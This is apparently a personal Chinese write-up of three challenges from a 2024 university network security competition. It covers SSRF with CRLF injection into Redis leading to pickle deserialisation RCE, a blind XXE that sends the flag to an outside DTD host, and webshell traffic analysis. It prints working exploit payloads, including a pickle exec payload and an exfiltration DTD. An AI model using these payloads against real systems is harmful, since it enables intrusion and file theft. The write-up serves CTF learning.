0%

高校网络安全管理运维赛2024

代表福师大参加运维赛,还好最后十分钟解出来pyssrf拿了个华南赛区二等

web

pyssrf

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)
if res:
return pickle.loads(base64.b64decode(res))
else:
try:
print(url)
info = urllib.request.urlopen(url)
res = info.read()
pickres=pickle.dumps(res)
b64res=base64.b64encode(pickres)
redis.set(url_key,b64res,ex=300)
return res
except urllib.error.URLError as e:
print(e)


@app.route('/')
def hello():
url = request.args.get("url")
return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
<h2>Here is your result</h2>
<h3>source code in /source</h3>
%s
''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source')
def source():
return

分析源码,注意到get_result()函数有pickle反序列化

往前分析,前提是在连接redis的时候需要匹配到url_key键名

并且注意到存在urllib头部注入

1
info = urllib.request.urlopen(url)

思路

先访问url生成键名,然后利用urllib头部注入设置该键名值为pickle的payload,最后再访问该键名(也就是127.0.0.1:6379

我们先访问在题目生成键名(这里对应的是http:127.0.0.1:6379

1
url=127.0.0.1:6379

然后在本地运行脚本生成对应MD5值

1
2
3
4
5
6
import urllib
import hashlib
from flask import Flask,request
url='http://127.0.0.1:6379'
url_key=hashlib.md5(url.encode()).hexdigest()
print(url_key)

利用报错回显,pickle反序列化exp如下

1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64
import os

class A():
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('cat /flag').read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

然后利用urllib头部注入修改前面键名的值为payload

1
2
3
127.0.0.1:6379?
set cbdecc92165b29374b6b62cca016d4f8 gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKSmUhZRSlC4=
save

丢到cyberchef编码一下

直接传payload

1
url=127.0.0.1:6379?%0d%0aset cbdecc92165b29374b6b62cca016d4f8 gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKSmUhZRSlC4=%0d%0asave

然后再访问127.0.0.1:6379就可以看到修改后的flag

fileit

xxe无回显

bp抓包修改POST请求方式,添加数据(注意content-type为xml)

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM 'http://5i781963p2.yicp.fun:80/test.dtd'>
%remote;%int;%send;
]>

test.dtd文件(注意%要改成&#37;

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://5i781963p2.yicp.fun:80?p=%file;'>">

本地开启http服务,成功外带flag

misc

easyshell

打开附件,筛选一下

1
http && ip.src==192.168.33.102

追踪tcp流,发现具有冰蝎流量的特征

导出http对象,保存到本地

将shell.php内容丢到在线网站解密,这里密钥就直接猜默认密钥

在第十个shell.php进行解密后再base64两次发现是PK头

保存为zip文件后爆破密码A8s123/+*,解压后得到flag